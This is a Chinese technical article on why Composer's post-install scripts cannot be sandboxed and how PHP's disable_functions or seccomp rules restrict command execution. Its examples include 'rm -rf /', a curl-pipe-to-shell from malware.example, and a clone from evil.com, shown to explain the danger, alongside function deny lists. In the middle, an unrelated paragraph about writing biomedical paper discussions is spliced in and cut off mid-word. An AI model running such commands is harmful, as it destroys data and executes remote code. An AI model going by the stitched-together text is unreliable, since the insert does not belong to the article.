composer本身不提供沙箱机制,真正限制exec等函数调用的是php的disable_functions配置或seccomp系统调用拦截,而非composer.json脚本字段本身。

Composer 本身不提供沙箱机制,exec、shell_exec、system 等函数在 post-install-cmd 或自定义脚本中默认可任意调用,这是高危面。真正能限制外部命令执行的,不是 Composer 配置项,而是 PHP 运行时环境本身。
为什么 composer.json 的 scripts 无法被“沙箱化”
Composer 的 scripts 字段(如 post-install-cmd)本质是 shell 命令或 PHP 回调,最终由 PHP 进程执行。它不经过 Twig、不走模板引擎,也不受 SandboxExtension 约束——那些只管模板渲染,不管脚本执行。
-
composer.json中写"post-install-cmd": "rm -rf /",只要 PHP 有权限,就会真删 - 第三方包的
install脚本若含exec('curl http://malware.example/... | sh'),Composer 会照常运行 - 没有内置开关能“禁止所有 exec 类函数”,这是 PHP 层级的权限控制问题
PHP 级别限制:disable_functions 是唯一可靠手段
真正起作用的是 PHP 配置中的 disable_functions,它能在进程启动时硬性屏蔽危险函数。这是目前最轻量、最直接、且被广泛验证的方式。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论(Discussion)”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性,以及撰写结论。当用户输入以下任一指令时也会自动触发该功能: - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 必须在
php.ini或容器启动时通过-d disable_functions="exec,shell_exec,system,passthru,proc_open,pcntl_exec"设置 - 注意:仅禁用
exec不够,proc_open可绕过,pcntl_exec在 CLI 下仍可用,需一并禁用 - 某些包依赖
proc_open(如 PHPUnit 启动子进程、Symfony Process 组件),禁用后需评估兼容性 - Docker 场景下推荐在
Dockerfile中设置:RUN echo "disable_functions = exec,shell_exec,system,passthru,proc_open,pcntl_exec" > /usr/local/etc/php/conf.d/sandbox.ini
Composer 插件方案:仅适用于可控生态内
如果你完全掌控所用的所有包(比如私有 Packagist + 内部审核流程),可借助 composer-plugin 在 PluginInterface::activate() 中 hook ScriptEvents::POST_INSTALL_CMD,做白名单校验。但这不是沙箱,只是预检。
- 无法阻止已编译的
.so扩展调用系统命令(如某些加密扩展内置opensslCLI 调用) - 无法拦截
eval()动态生成并执行的命令字符串 - 需手动维护白名单命令列表,例如只允许
git --version、node --version,但无法防止git clone http://evil.com/x.git - 对
vendor/bin下二进制文件(如phpstan、phpcs)无约束力——它们启动新进程,脱离 Composer 控制流
更现实的边界:用容器 UID + seccomp 代替函数禁用
在 Docker/K8s 环境中,比修改 disable_functions 更底层、更不可绕过的做法是限制系统调用本身。seccomp profile 可直接拦截 execve、clone 等关键 syscall。
- 示例 seccomp 规则片段:
{"action":"SCMP_ACT_ERRNO","args":[],"names":["execve","clone","fork","vfork"],"minKernelVersion":"3.17"} - 配合
user: "1001:1001"和非 root 用户运行,避免setuid提权路径 - 此方式不影响 PHP 函数签名,不破坏扩展兼容性,但要求宿主机内核 ≥ 3.17 且 Docker ≥ 1.10
- 风险点:部分 Composer 插件(如
hirak/prestissimo)依赖多进程加速下载,会被 seccomp 拦截导致失败
真正轻量又有效的沙箱,从来不在 Composer 层,而在 PHP 进程启动前——要么靠 disable_functions 删掉能力,要么靠 seccomp 拦住系统调用。任何试图在 composer.json 里加个配置就“安全”的想法,都会在第一个 exec('wget') 出现时落空。










